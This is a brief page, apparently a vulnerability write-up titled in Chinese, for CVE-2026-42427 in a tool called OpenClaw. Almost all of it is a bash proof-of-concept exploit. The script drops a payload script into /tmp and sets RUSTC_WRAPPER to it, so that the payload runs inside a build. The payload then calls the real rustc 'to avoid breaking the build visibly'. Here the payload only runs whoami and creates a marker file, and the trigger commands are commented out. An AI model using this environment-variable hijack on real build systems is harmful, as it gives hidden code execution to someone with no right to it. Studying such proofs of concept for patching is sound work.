CVE-2026-42427 OpenClaw 远程代码执行漏洞

#!/bin/bash # PoC for CVE-2026-42427: OpenClaw RCE via Env Variable Injection # This script demonstrates how setting RUSTC_WRAPPER can lead to code execution # 1. Create a malicious payload script echo '#!/bin/bash' > /tmp/exploit.sh echo 'echo "[+] Exploit Executed: Whoami: $(whoami)"' >> /tmp/exploit.sh echo 'touch /tmp/pwned_by_openclaw' >> /tmp/exploit.sh # Ensure the original rustc is called to avoid breaking the build visibly (optional) echo '/usr/bin/rustc "$@"' >> /tmp/exploit.sh chmod +x /tmp/exploit.sh # 2. Inject the malicious environment variable export RUSTC_WRAPPER=/tmp/exploit.sh # 3. Execute OpenClaw (assuming it triggers a build) # openclaw build --target example echo "[*] Environment variable set. Triggering OpenClaw build process..." # Simulating the trigger # /usr/local/bin/openclaw